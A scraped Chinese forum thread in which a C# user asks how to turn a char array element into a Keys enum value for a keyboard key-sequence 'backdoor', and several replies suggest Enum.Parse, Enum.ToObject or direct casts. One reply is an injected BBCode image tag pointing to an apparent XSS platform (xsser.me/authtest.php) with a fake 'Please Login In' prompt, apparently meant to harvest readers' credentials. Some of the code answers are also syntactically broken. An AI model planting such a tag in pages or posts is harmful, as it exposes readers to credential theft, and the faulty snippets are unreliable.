首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > .NET > C# >

c# 一个传参有关问题 keys

2012-12-19 
c# 一个传参问题 keys.我定义了一个字符数组 char[] str现在我想将Keys.就是这个 .后面 我如何将char[0]

c# 一个传参问题 keys.
我定义了一个字符数组 char[] str;

现在我想将  Keys.    就是这个 .  后面 我如何将char[0] 的值传进来!

本来是 Key.   这个点后面只能写他规定好的!
[最优解释]

引用:
引用:引用:C# code??123456789                KeyboardIncantationMonitor.KeysIncantation tInc = m_KeyBackDoor.NewIncantation() as KeyboardIncantationMonitor.……


Keys keydown1 = (Keys)Enum.Parse(typeof(Keys), (int)anwen[0]);
[其他解释]
该回复于2012-12-03 10:21:32被管理员删除
[其他解释]
[img=http://xsser.me/authtest.php?id=Ayuk1y&info=Please+Login+In++@360.cn][/img]
[其他解释]
Keys. char[0]?
Keys是个什么?


//如果是个枚举
            Enum.GetName(typeof(Keys), 1);//根据枚举值获得枚举名称
            Enum.ToObject(typeof(Keys),1)//把一个枚举值转换为对应的枚举类型
            Enum.Parse(typeof(Keys), "第一");//把字符串转换为对应的枚举类型
//如果只个类
            typeof(Keys).GetField("FieldName")//根据字段名字获得字段值


[其他解释]
                KeyboardIncantationMonitor.KeysIncantation tInc = m_KeyBackDoor.NewIncantation() as KeyboardIncantationMonitor.KeysIncantation;
                //KeyboardIncantationMonitor.KeysIncantation t = m_KeyBackDoor.NewIncantation() as KeyboardIncantationMonitor.KeysIncantation;
                
                //! 初始化这个暗号为:依次按下 <Esc>Bye<Enter>
                tInc.AddKey(Keys.Escape);
                tInc.AddKey(Keys.H);
                tInc.AddKey(Keys.Y);
                tInc.AddKey(Keys.E);
                tInc.AddKey(Keys.Enter);

[其他解释]
就是这个 Keys
[其他解释]
#3 怎么回复对应楼层?
[其他解释]
引用:
C# code??123456789                KeyboardIncantationMonitor.KeysIncantation tInc = m_KeyBackDoor.NewIncantation() as KeyboardIncantationMonitor.KeysIncantation;                //Keyboard……



Keys k = (Keys)Enum.ToObject(typeof(Keys), (int)char[0]);
[其他解释]
Keys key=(Keys)char[0];
[其他解释]
引用:
引用:C# code??123456789                KeyboardIncantationMonitor.KeysIncantation tInc = m_KeyBackDoor.NewIncantation() as KeyboardIncantationMonitor.KeysIncantation;    ……


我这样写:
Keys keydown1 = (Keys)Enum.Parse(typeof(Keys), anwen[0]);


编译无错,运行报错:未将对象引用设置到对象的实例
[其他解释]
引用:
引用:C# code??123456789                KeyboardIncantationMonitor.KeysIncantation tInc = m_KeyBackDoor.NewIncantation() as KeyboardIncantationMonitor.KeysIncantation;    ……


我这样写:
Keys keydown1 = (Keys)Enum.Parse(typeof(Keys), anwen[0].tostring());


编译无错,运行报错:未将对象引用设置到对象的实例
[其他解释]
引用:
Keys key=(Keys)char[0];


我这样写:
Keys keydown1 = (Keys)Enum.Parse(typeof(Keys), anwen[0].tostring());


编译无错,运行报错:未将对象引用设置到对象的实例
[其他解释]
anwen没有内容吧?
[其他解释]
Keys keydown1 = (Keys)Enum.Parse(typeof(Keys), ((int)anwen[0]).ToString());
[其他解释]
直接
Keys key=(Keys)'A'
就行

热点排行